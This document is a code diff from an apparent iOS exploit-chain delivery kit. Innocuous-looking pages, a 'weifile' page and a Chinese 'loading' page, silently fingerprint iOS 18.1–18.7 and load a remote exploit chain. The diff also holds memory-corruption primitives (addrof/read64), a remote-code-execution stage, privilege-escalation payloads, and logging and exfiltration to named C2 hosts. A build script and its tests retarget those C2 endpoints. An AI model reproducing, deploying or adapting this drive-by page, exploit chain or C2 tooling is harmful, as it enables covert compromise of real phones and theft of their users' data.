// Prefer gofun for large payloads — device WebContent often ATS-blocks cleartext :8080.
if (heavy) {
if (primary && bases.indexOf(primary) < 0) bases.push(primary);
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
} else {
if (primary) bases.push(primary);
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
}
if (!bases.length) { print('getJS: no host'); return ''; }
const maxTries = heavy ? Math.min(tries, 3) : tries;
+20 -27
View File
@@ -1,5 +1,4 @@
var SERVER_LOG;
var __labC2Host = 'https://mh0usocqzi6f46i.com:443';
let offsets;
let MessageName;
@@ -16,6 +15,14 @@ function sleep(ms) {
}
let logStart = new Date().getTime();
let logEntryID = 0;
var __labC2Host = '';
function labC2LogUrl(qs) {
var base = __labC2Host;
if (!base) {
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
}
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
}
function print(x, reportError = false, dumphex = false) {
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
// Errors only to /api/ds/log — progress stays in fopen side-channel / console.
@@ -32,12 +39,7 @@ function print(x, reportError = false, dumphex = false) {
}
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
const xhr = new XMLHttpRequest();
var logBase = '';
try {
if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, '');
} catch (eLb) {}
if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443';
xhr.open("GET", logBase + "/api/ds/log?" + req , false);
xhr.open("GET", labC2LogUrl(req) , false);
xhr.send(null);
}
// 去掉加解密:明文直通,不再解密任何 blob。
@@ -47,19 +49,14 @@ function print(x, reportError = false, dumphex = false) {
function _labDecryptWire(text) {
return text;
}
var __labDeviceUUID = '';
function __labCanonUuid(v) {
var s = String(v || '').replace(/-/g, '').toUpperCase();
return /^[0-9A-F]{16,64}$/.test(s) ? s : '';
}
function __labPrependDeviceUuid(fname, text) {
function __labPrependDelivery(fname, text) {
if (!text) return text;
var du = __labCanonUuid(__labDeviceUUID);
if (!du || du === '69DD25B2CA8B5682BA2470D77124E2FC') return text;
var f = String(fname || '').toLowerCase();
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0 && f.indexOf('sbx1') < 0) return text;
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__LAB_DEVICE_UUID__="' + du + '";}catch(_peU){}\n' + text;
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text;
var d = '';
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
if (!d) return text;
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
}
function getJS(fname,method = 'POST')
@@ -115,15 +112,12 @@ function print(x, reportError = false, dumphex = false) {
try
{
let url = "";
var assetBase = String(host || '').replace(/\/$/, '');
var assetPath = String(fname || '');
if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath;
url = assetBase + assetPath + (assetPath.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now();
url = host + "/" + fname + (fname.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now();
print("trying to fetch from:" + url);
let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}` , false);
xhr.send(null);
return __labPrependDeviceUuid(fname, _labDecryptWire(xhr.responseText));
return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText));
}
catch(e)
{
@@ -14405,7 +14399,7 @@ async function main() {
const fopen_mode_str = 'w';
const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n);
function log(msg) {
// Mirror stage logs to local server via /api/ds/log (SERVER_LOG)
// Mirror stage logs to C2 via /api/ds/log (SERVER_LOG)
try { print(String(msg)); } catch (e) {}
if (true) {
const elapsed = parseInt(Date.now() - rce_begin);
@@ -14449,10 +14443,9 @@ async function main() {
}
case 'stage1_rce':
{
__labC2Host = 'https://mh0usocqzi6f46i.com:443';
__labC2Host = 'http://192.168.31.130:8080';
host = data.desiredHost;
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; }
try { __labDeviceUUID = __labCanonUuid(data.deviceUUID || data.device || data.uuid); } catch (_du) {}
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; }
SERVER_LOG = data.SERVER_LOG;
if (data._enc_session) {
_enc_S = data._enc_session;
+171 -132
View File
@@ -1,119 +1,139 @@
#!/usr/bin/env python3
"""Rewrite DarkSword hosts in source/ and publish to public/next-chain.
"""Rewrite one99 host literals to --c2 and publish source/ → public/next-chain.
Usage:
python3 tools/build.py
python3 tools/build.py --host 192.168.31.130 --port 8000
python3 tools/build.py --origin http://192.168.31.130:8000
Delivery is always the weifile page origin + /next-chain (runtime). Do not pass --delivery
unless you are overriding NEWS2_CONFIG.deliveryPath for a CDN experiment.
php artisan ds:build --c2 http://192.168.31.130:8000
php artisan ds:build --c2 https://c2.example.com
"""
from __future__ import annotations
import argparse
import re
import shutil
import sys
from dataclasses import dataclass
from pathlib import Path
from urllib.parse import urlparse
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent
DEFAULT_SOURCE = BUILDER_ROOT / "source"
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"}
# Checked into source/config.js; must be rewritten when --origin is not the lab box.
TEMPLATE_HOST = "192.168.31.130"
TEMPLATE_PORT = 8000
EXFIL_RE = re.compile(r"exfil:\s*\{[^{}]*\}", re.S)
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
SKIP_PUBLISH = {"log.html"}
def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
use_tls = origin.startswith("https://")
tls_js = "true" if use_tls else "false"
pairs = [
("https://mh0usocqzi6f46i.com:443", origin),
("http://mh0usocqzi6f46i.com:443", origin),
("https://mh0usocqzi6f46i.com", origin),
("http://one99.vip:80", origin),
("https://one99.vip:80", origin),
("http://one99.vip", origin),
("https://one99.vip", origin),
(f"https://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
(f"http://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
(f'https://{TEMPLATE_HOST}"', origin + '"'),
(f'http://{TEMPLATE_HOST}"', origin + '"'),
(f"https://{TEMPLATE_HOST}/", origin + "/"),
(f"http://{TEMPLATE_HOST}/", origin + "/"),
('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'),
('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'),
@dataclass(frozen=True)
class Endpoint:
host: str
port: int
origin: str
tls: bool
path: str
@property
def url(self) -> str:
return self.origin + self.path
def parse_endpoint(raw: str, *, label: str) -> Endpoint:
parsed = urlparse((raw or "").strip())
if parsed.scheme not in ("http", "https") or not parsed.hostname:
raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port][/path])")
host = parsed.hostname
tls = parsed.scheme == "https"
port = parsed.port or (443 if tls else 80)
origin = f"{parsed.scheme}://{host}"
if not ((tls and port == 443) or (not tls and port == 80)):
origin += f":{port}"
path = (parsed.path or "").rstrip("/")
if path and not path.startswith("/"):
path = "/" + path
return Endpoint(host=host, port=port, origin=origin, tls=tls, path=path)
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
hp = f'{{ host: "{c2.host}", port: {c2.port} }}'
ports = f'{{ host: "{c2.host}", http_port: {c2.port}, https_port: {c2.port}, tls: {"true" if c2.tls else "false"} }}'
return [
("https://mh0usocqzi6f46i.com:443", c2.origin),
("http://mh0usocqzi6f46i.com:443", c2.origin),
("https://mh0usocqzi6f46i.com", c2.origin),
("http://mh0usocqzi6f46i.com", c2.origin),
("http://one99.vip:80", c2.origin),
("https://one99.vip:80", c2.origin),
("http://one99.vip", c2.origin),
("https://one99.vip", c2.origin),
("http://192.168.31.130:8080", c2.origin),
("https://192.168.31.130:8080", c2.origin),
('{ host: "mh0usocqzi6f46i.com", port: 443 }', hp),
('{ host: "one99.vip", port: 80 }', hp),
('{ host: "192.168.31.130", port: 8080 }', hp),
(
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: {tls_js} }}',
ports,
),
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'),
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'),
(" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"),
(f"http_port: {TEMPLATE_PORT}", f"http_port: {port}"),
(f"https_port: {TEMPLATE_PORT}", f"https_port: {port}"),
(f'host: "{TEMPLATE_HOST}"', f'host: "{ip}"'),
(f'domain: "{TEMPLATE_HOST}"', f'domain: "{ip}"'),
("mh0usocqzi6f46i.com", ip),
("one99.vip", ip),
(TEMPLATE_HOST, ip),
("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"),
("_h === '192.168.4.10'", f"_h === '{ip}'"),
('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'),
('_h === "192.168.4.10"', f'_h === "{ip}"'),
('"192.168.1.29"', f'"{ip}"'),
('redirectUrl: "https://ab.ux600.com"', f'redirectUrl: "{origin}/?landed=1"'),
("'https://ab.ux600.com'", f"'{origin}/?landed=1'"),
# public/log/ is a directory on lab; phone POST /log must hit the API.
('__labCfHttp("POST", "/log"', '__labCfHttp("POST", "/api/ds/log"'),
('__labCfHttp(\\"POST\\", \\"/log\\"', '__labCfHttp(\\"POST\\", \\"/api/ds/log\\"'),
('__labCfHttp("GET", "/log.html?"', '__labCfHttp("GET", "/api/ds/log?"'),
('__labCfHttp(\\"GET\\", \\"/log.html?"', '__labCfHttp(\\"GET\\", \\"/api/ds/log?"'),
("/log.html", "/api/ds/log"),
(origin + '/log"', origin + '/api/ds/log"'),
(origin + '/log\\"', origin + '/api/ds/log\\"'),
(':80/log"', ':80/api/ds/log"'),
(':80/log\\"', ':80/api/ds/log\\"'),
(
'{ host: "192.168.31.130", http_port: 8080, https_port: 8080, tls: false }',
ports,
),
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{c2.port}"'),
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
('const HQ_WALLET_PORT = "8080"', f'const HQ_WALLET_PORT = "{c2.port}"'),
('const HQ_WALLET_PORT = \\"8080\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
("mh0usocqzi6f46i.com", c2.host),
("one99.vip", c2.host),
("192.168.31.130", c2.host),
]
if use_tls:
pairs.extend(
[
("tls: false", "tls: true"),
("prefer_https: false", "prefer_https: true"),
]
def rewrite_text(text: str, c2: Endpoint) -> str:
for old, new in rewrite_pairs(c2):
if old != new:
text = text.replace(old, new)
return text
def patch_config(text: str, c2: Endpoint) -> str:
flag = "true" if c2.tls else "false"
def exfil(_match: re.Match[str]) -> str:
return (
"exfil: {\n"
f' host: "{c2.host}",\n'
f' domain: "{c2.host}",\n'
f" http_port: {c2.port},\n"
f" https_port: {c2.port},\n"
f" tls: {flag},\n"
f" prefer_https: {flag},\n"
" }"
)
return pairs
patched, n = EXFIL_RE.subn(exfil, text, count=1)
if n != 1:
raise SystemExit("source/config.js: missing exfil { ... } block")
return patched
def iter_files(root: Path) -> list[Path]:
out: list[Path] = []
for p in root.rglob("*"):
if not p.is_file():
def rewrite_tree(root: Path, c2: Endpoint) -> int:
hits = 0
for path in root.rglob("*"):
if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
continue
if p.suffix.lower() in SKIP_SUFFIX:
continue
out.append(p)
return sorted(out)
def rewrite_tree(root: Path, ip: str, port: int, origin: str) -> list[dict]:
pairs = replacements(ip, port, origin)
hits: list[dict] = []
for src in iter_files(root):
text = src.read_text("utf-8", errors="surrogateescape")
new = text
counts: dict[str, int] = {}
for old, repl in pairs:
n = new.count(old)
if n:
counts[old] = n
new = new.replace(old, repl)
if new != text:
src.write_text(new, encoding="utf-8", errors="surrogateescape")
hits.append({"file": str(src.relative_to(root)), "counts": counts})
raw = path.read_text(encoding="utf-8")
if path.name == "config.js":
new = patch_config(raw, c2)
else:
new = rewrite_text(raw, c2)
if new != raw:
path.write_text(new, encoding="utf-8")
hits += 1
return hits
@@ -124,7 +144,12 @@ def publish(staging: Path, dest: Path) -> None:
old = dest.with_name(dest.name + ".old")
if tmp.exists():
shutil.rmtree(tmp)
shutil.copytree(staging, tmp, ignore=shutil.ignore_patterns(".DS_Store"))
def ignore(directory: str, names: list[str]) -> set[str]:
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
return skip
shutil.copytree(staging, tmp, ignore=ignore)
if dest.exists():
if old.exists():
shutil.rmtree(old)
@@ -139,64 +164,78 @@ def publish(staging: Path, dest: Path) -> None:
tmp.rename(dest)
def resolve_origin(args: argparse.Namespace) -> tuple[str, int, str]:
if args.origin:
parsed = urlparse(args.origin)
if parsed.scheme not in ("http", "https") or not parsed.hostname:
raise SystemExit(f"invalid --origin: {args.origin}")
host = parsed.hostname
if parsed.port:
port = parsed.port
else:
port = 443 if parsed.scheme == "https" else 80
origin = f"{parsed.scheme}://{host}"
if not ((parsed.scheme == "http" and port == 80) or (parsed.scheme == "https" and port == 443)):
origin += f":{port}"
return host, port, origin
host = args.host
port = args.port
origin = f"{args.scheme}://{host}"
if not ((args.scheme == "http" and port == 80) or (args.scheme == "https" and port == 443)):
origin += f":{port}"
return host, port, origin
def build(source: Path, dest: Path, host: str, port: int, origin: str, dry_run: bool = False) -> list[dict]:
def build(
source: Path,
dest: Path,
c2: str,
delivery: str | None = None,
dry_run: bool = False,
) -> dict:
if not source.is_dir():
raise SystemExit(f"source not found: {source}")
config = source / "config.js"
if not config.is_file():
raise SystemExit(f"missing {config}")
c2_ep = parse_endpoint(c2, label="--c2")
delivery_ep = parse_endpoint(delivery, label="--delivery") if delivery else None
if dry_run:
preview = patch_config(config.read_text(encoding="utf-8"), c2_ep)
if delivery_ep is not None:
preview = re.sub(
r'deliveryPath:\s*"[^"]*"',
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
preview,
count=1,
)
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "config": preview}
staging = BUILDER_ROOT / "out" / "staging"
if staging.exists():
shutil.rmtree(staging)
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
hits = rewrite_tree(staging, host, port, origin)
if dry_run:
shutil.rmtree(staging)
return hits
rewrite_tree(staging, c2_ep)
if delivery_ep is not None:
cfg = (staging / "config.js").read_text(encoding="utf-8")
cfg = re.sub(
r'deliveryPath:\s*"[^"]*"',
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
cfg,
count=1,
)
(staging / "config.js").write_text(cfg, encoding="utf-8")
publish(staging, dest)
shutil.rmtree(staging, ignore_errors=True)
return hits
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "dest": str(dest.resolve())}
def main(argv: list[str] | None = None) -> int:
ap = argparse.ArgumentParser(description="Rewrite DarkSword source and publish public/next-chain")
ap.add_argument("--host", default="192.168.31.130")
ap.add_argument("--port", type=int, default=8000)
ap.add_argument("--scheme", default="http", choices=("http", "https"))
ap.add_argument("--origin", default="", help="full origin, e.g. http://192.168.31.130:8000")
ap = argparse.ArgumentParser(description="Rewrite one99 hosts to --c2 and copy source/ to public/next-chain")
ap.add_argument("--c2", default="", help="C2 / API origin, e.g. http://192.168.31.130:8000")
ap.add_argument("--origin", default="", help="alias of --c2")
ap.add_argument("--delivery", default="", help="optional CDN origin; delivery path still /next-chain at runtime")
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args(argv)
host, port, origin = resolve_origin(args)
hits = build(args.source, args.dest, host, port, origin, dry_run=args.dry_run)
action = "would rewrite" if args.dry_run else "published"
print(f"{action} {len(hits)} files -> {origin}")
if not args.dry_run:
print(f"dest {args.dest.resolve()}")
for h in hits:
print(f" {h['file']} ({sum(h['counts'].values())})")
c2 = (args.c2 or args.origin or "").strip()
if not c2:
raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
result = build(
args.source,
args.dest,
c2,
delivery=(args.delivery or "").strip() or None,
dry_run=args.dry_run,
)
print("dry-run" if args.dry_run else "published")
print(f" c2 {result['c2']}")
print(f" delivery {result['delivery'] or '(weifile origin + /next-chain)'}")
if result.get("dest"):
print(f" dest {result['dest']}")
return 0
+42 -58
View File
@@ -14,88 +14,72 @@ if str(TOOLS) not in sys.path:
import build # noqa: E402
CONFIG = (
"window.NEWS2_CONFIG = {\n"
' deliveryPath: "/next-chain",\n'
" exfil: {\n"
' host: "192.168.31.130",\n'
' domain: "192.168.31.130",\n'
" http_port: 8080,\n"
" https_port: 8080,\n"
" tls: false,\n"
" prefer_https: false,\n"
" },\n"
"};\n"
)
class BuildTest(unittest.TestCase):
def setUp(self) -> None:
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
self.source = self.tmp / "source"
self.dest = self.tmp / "next-chain"
self.source.mkdir(parents=True)
(self.source / "config.js").write_text(
'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n',
encoding="utf-8",
)
(self.source / "config.js").write_text(CONFIG, encoding="utf-8")
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
(self.source / "pe_worker.js").write_text(
'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n'
'__labCfHttp("POST", "/log", body, false);\n'
'__labCfHttp("GET", "/log.html?" + q, null, false);\n',
'const C2 = "https://mh0usocqzi6f46i.com:443/beacon";\n'
'function p7(){ return { host: "192.168.31.130", port: 8080 }; }\n',
encoding="utf-8",
)
(self.source / "log.html").write_text("static log\n", encoding="utf-8")
(self.source / "pe_stage").mkdir()
(self.source / "pe_stage" / "s1_launchd.js").write_text("// stage\n", encoding="utf-8")
def tearDown(self) -> None:
shutil.rmtree(self.tmp, ignore_errors=True)
def test_rewrites_and_publishes_without_touching_source(self) -> None:
def test_rewrites_c2_and_publishes_pe_stage(self) -> None:
before = (self.source / "config.js").read_text(encoding="utf-8")
hits = build.build(
self.source,
self.dest,
"192.168.31.130",
8080,
"http://192.168.31.130:8080",
)
self.assertTrue(hits)
result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
self.assertEqual(result["c2"], "http://192.168.31.130:8000")
published = (self.dest / "config.js").read_text(encoding="utf-8")
self.assertIn("http://192.168.31.130:8080/?landed=1", published)
self.assertIn('const HQ_WALLET_PORT = "8080"', published)
self.assertNotIn("ab.ux600.com", published)
self.assertIn('host: "192.168.31.130"', published)
self.assertIn("http_port: 8000", published)
self.assertIn("tls: false", published)
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
self.assertFalse((self.dest / "api").exists())
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker)
self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker)
self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker)
self.assertNotIn("/log.html", worker)
self.assertNotIn('__labCfHttp("POST", "/log"', worker)
self.assertIn("http://192.168.31.130:8000/beacon", worker)
self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
self.assertFalse((self.dest / "log.html").exists())
self.assertTrue((self.dest / "pe_stage" / "s1_launchd.js").is_file())
self.assertEqual((self.dest / "pe_stage" / "s1_launchd.js").read_text(encoding="utf-8"), "// stage\n")
def test_origin_override(self) -> None:
host, port, origin = build.resolve_origin(
type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})()
)
self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443"))
def test_origin_rewrites_lab_template_config(self) -> None:
(self.source / "config.js").write_text(
'window.NEWS2_CONFIG = {\n'
' exfil: {\n'
' host: "192.168.31.130",\n'
' domain: "192.168.31.130",\n'
' http_port: 8000,\n'
' https_port: 8000,\n'
' tls: false,\n'
' prefer_https: false,\n'
' },\n'
' redirectUrl: "https://ab.ux600.com",\n'
'};\n',
encoding="utf-8",
)
build.build(
self.source,
self.dest,
"c2.example.com",
443,
"https://c2.example.com",
)
def test_https_c2(self) -> None:
build.build(self.source, self.dest, "https://c2.example.com")
published = (self.dest / "config.js").read_text(encoding="utf-8")
self.assertIn('host: "c2.example.com"', published)
self.assertIn('domain: "c2.example.com"', published)
self.assertIn("http_port: 443", published)
self.assertIn("https_port: 443", published)
self.assertIn("tls: true", published)
self.assertIn("https://c2.example.com/?landed=1", published)
self.assertNotIn("192.168.31.130", published)
self.assertNotIn("ab.ux600.com", published)
self.assertIn("https://c2.example.com/beacon", (self.dest / "pe_worker.js").read_text(encoding="utf-8"))
def test_parse_endpoint(self) -> None:
ep = build.parse_endpoint("https://lab.example:8443/next-chain", label="--delivery")
self.assertEqual(ep.host, "lab.example")
self.assertEqual(ep.port, 8443)
self.assertEqual(ep.origin, "https://lab.example:8443")
self.assertEqual(ep.url, "https://lab.example:8443/next-chain")
if __name__ == "__main__":
-133
View File
@@ -1,133 +0,0 @@
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function loadScripts(urls) {
var i = 0;
function next() {
if (i >= urls.length) return;
loadScript(urls[i++], next);
}
next();
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
if (!window.__LAB_EXFIL_DOMAIN__) {
window.__LAB_EXFIL_DOMAIN__ = location.hostname || '';
}
} catch (eH) {}
loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]);
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
@@ -7,6 +7,130 @@
<title>weifile</title>
</head>
<body>
<script type="text/javascript" src="route.js"></script>
<script type="text/javascript">
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
} catch (eH) {}
loadScript(dsUrl('/config.js'), function () {
loadScript(dsUrl('/boot.js'));
});
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
</script>
</body>
</html>
@@ -111,7 +111,131 @@
<p class="title">加载中</p>
<p class="subtitle">请稍候,正在准备页面…</p>
</div>
<script type="text/javascript" src="route.js"></script>
<script type="text/javascript">
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
